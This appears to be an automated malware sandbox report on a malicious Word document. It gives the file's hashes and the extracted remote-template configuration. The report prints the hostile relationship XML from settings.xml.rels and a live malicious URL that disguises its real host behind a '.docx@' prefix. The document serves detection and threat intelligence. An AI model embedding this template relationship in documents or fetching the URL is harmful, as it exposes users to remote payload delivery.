f72e6695b9c92e4dabacd607ceccd4b4

MS Word Document
|
MD5: f72e6695b9c92e4dabacd607ceccd4b4
|
Size: 60.24 KB
|
application/msword

Infection Chain

Summary by MalvaGPT

Characteristics

Hash	Hash Value
MD5	f72e6695b9c92e4dabacd607ceccd4b4
Sha1	b811ce32b82a8879e79d099c70ed28c06765010f
Sha256	18c13bdcb3f94ccf6d99ce3f0df1b7ac1d077f861106130ae730efdacb11202f
Sha384	fa5fc90431555b35998024e2fe12d959ea1975183f961785eb84aa4413ddcdf854c25acaaff216b6f69247d2ac090620
Sha512	8b0a47b0cf2634da2e0ece48907ed5a32c031a9833c9552a579004d3692e3453a90f311c0eef66d17463577bd5d45eda0709a4fa7e2313e2dae23198a79f3362
SSDeep	1536:iqH6SGUkbPVhPwTmSypv4C1nYLOijqVxzLvG9KNrwgQyD2ze+T:ilSUbTwXyB4Qn6PKzzGKMqXq
TLSH	E643F15EA0ED14E8D2026277D8BD7E68F72C71478253A103E5321E6DEFFF8C9961A205

File Structure

Malware Configuration - Remote Template

Config. Field0	Value
Target	https://wishyouthebestpeoplesentiretiimeforfigureoutthebestsolutionsgiveme.docx@bersatu.me/5LgsMd
Path	settings.xml.rels
XPath	/Relationships/Relationship
Outer XML	<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="https://wishyouthebestpeoplesentiretiimeforfigureoutthebestsolutionsgiveme.docx@bersatu.me/5LgsMd" TargetMode="External" xmlns="http://schemas.openxmlformats.org/package/2006/relationships" />

Artefacts

Name0	Value
Remote Template - Highly Suspicious	https://wishyouthebestpeoplesentiretiimeforfigureoutthebestsolutionsgiveme.docx@bersatu.me/5LgsMd

f72e6695b9c92e4dabacd607ceccd4b4 (60.24 KB)

File Structure

Characteristics

Malware Configuration - Remote Template

Config. Field0	Value
Target	https://wishyouthebestpeoplesentiretiimeforfigureoutthebestsolutionsgiveme.docx@bersatu.me/5LgsMd
Path	settings.xml.rels
XPath	/Relationships/Relationship
Outer XML	<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="https://wishyouthebestpeoplesentiretiimeforfigureoutthebestsolutionsgiveme.docx@bersatu.me/5LgsMd" TargetMode="External" xmlns="http://schemas.openxmlformats.org/package/2006/relationships" />

Artefacts

Name0	Value	Location
Remote Template - Highly Suspicious	https://wishyouthebestpeoplesentiretiimeforfigureoutthebestsolutionsgiveme.docx@bersatu.me/5LgsMd Malicious	f72e6695b9c92e4dabacd607ceccd4b4 > word > _rels > settings.xml.rels

You must be signed in to post a comment.